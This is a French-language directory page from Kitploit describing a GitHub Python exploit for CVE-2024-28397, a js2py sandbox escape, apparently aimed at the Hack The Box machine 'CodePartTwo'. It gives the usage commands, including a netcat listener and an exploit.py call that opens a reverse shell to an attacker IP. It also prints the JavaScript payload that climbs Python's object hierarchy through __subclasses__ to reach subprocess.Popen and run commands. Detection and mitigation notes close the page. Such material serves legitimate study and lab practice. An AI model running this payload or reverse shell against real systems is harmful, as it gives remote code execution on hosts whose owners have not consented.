Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-28397 — Ce dépôt contient un code d'exploitation en Python pour CVE-2024-28397, destiné à être utilisé sur la machine « CodePartTwo » de Hack The Box (HTB). | Kitploit
Outils/GitHubGitHub/naclapor/cve-2024-28397
Analyse des VulnérabilitésExploitationCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubnaclapor/cve-2024-28397

CVE-2024-28397

Ce dépôt contient un code d'exploitation en Python pour CVE-2024-28397, destiné à être utilisé sur la machine « CodePartTwo » de Hack The Box (HTB).

Voir le dépôt
1212il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-28397 Exploitation d'évasion de bac à sable js2py - (CodePartTwo - HTB)

Un code d'exploitation Python pour CVE-2024-28397, une vulnérabilité critique dans js2py <= 0.74 permettant l'évasion du bac à sable et l'exécution de code à distance.

🚨 Détails de la vulnérabilité

  • CVE ID: CVE-2024-28397
  • Logiciel affecté: js2py <= 0.74
  • Sévérité: Critique (CVSS 9.8)
  • Type: Évasion de bac à sable / Exécution de code à distance
  • Date de découverte: Février 2024

Description

js2py est une bibliothèque Python populaire pour évaluer du code JavaScript dans des environnements Python. Cette vulnérabilité permet aux attaquants de s'échapper de l'environnement de bac à sable de js2py et d'exécuter des commandes Python/système arbitraires, même lorsque js2py.disable_pyimport() est activé.

L'exploit exploite les capacités d'introspection d'objets de Python via JavaScript pour accéder à la classe subprocess.Popen et exécuter des commandes système.

🎯 Applications affectées

  • Applications Web utilisant js2py pour l'évaluation JavaScript
  • Plateformes d'exécution de code (comme les éditeurs de code en ligne)
  • Scrapers Web qui analysent JavaScript
  • Toute application traitant du JavaScript non fiable via js2py

🚀 Utilisation

Prérequis

root@kitploit:~
pip install requests

Utilisation de base

root@kitploit:~
# Start netcat listener
nc -lnvp 4444

# Run exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444

Options de ligne de commande

root@kitploit:~
--target    Point de terminaison URL cible (requis)
--lhost     IP locale pour reverse shell (requis)
--lport     Port local pour reverse shell (défaut: 4444)

Exemple

root@kitploit:~
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100

🔧 Comment ça marche

  1. Génération de la charge utile: Crée une commande reverse shell encodée en base64
  2. Évasion du bac à sable: Utilise JavaScript pour accéder à la hiérarchie d'objets Python via __class__ et __base__
  3. Exécution du processus: Localise subprocess.Popen via introspection
  4. Exécution de la commande: Exécute la commande reverse shell en utilisant Popen
  5. Établissement du shell: Connecte en retour à la machine de l'attaquant

Détails techniques

L'exploit fonctionne en :

  • Accédant à Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
  • Parcourant la hiérarchie d'objets Python en utilisant __subclasses__()
  • Trouvant la classe subprocess.Popen
  • Créant un nouveau processus pour exécuter le reverse shell

📝 Structure du code d'exploit

root@kitploit:~
// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

// Find subprocess.Popen class
function findpopen(o) {
    // Recursive search through subclasses
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
    }
}

// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

🛡️ Détection

Recherchez du code JavaScript contenant :

  • Accès à l'attribut __class__ ou ___class___
  • Appels à la méthode __subclasses__()
  • Références à subprocess ou Popen
  • Charges utiles encodées en base64 avec printf et base64 -d

🔒 Atténuation

  1. Mettre à jour js2py: Mettre à niveau vers une version corrigée (> 0.74)
  2. Validation des entrées: Nettoyer le code JavaScript avant exécution
  3. Bac à sable: Utiliser une conteneurisation supplémentaire (Docker, chroot)
  4. Revue de code: Auditer les contextes d'exécution JavaScript
  5. Règles WAF: Bloquer les motifs JavaScript suspects

⚠️ Avis de non-responsabilité légal

Cet outil est destiné uniquement à des tests de pénétration autorisés et à des fins éducatives. Les utilisateurs sont responsables du respect des lois et réglementations applicables. L'accès non autorisé aux systèmes informatiques est illégal.

📚 Références

  • Rapport CVE original
  • Dépôt GitHub js2py
  • Détails CVE-2024-28397

📄 Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.

Télécharger l’outil